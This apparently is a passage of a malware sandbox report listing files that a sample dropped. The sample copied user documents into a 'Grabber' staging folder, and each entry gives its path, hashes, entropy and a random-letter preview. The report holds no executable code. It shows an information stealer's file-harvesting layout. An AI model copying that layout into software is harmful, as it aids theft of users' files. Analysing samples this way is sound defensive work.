C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
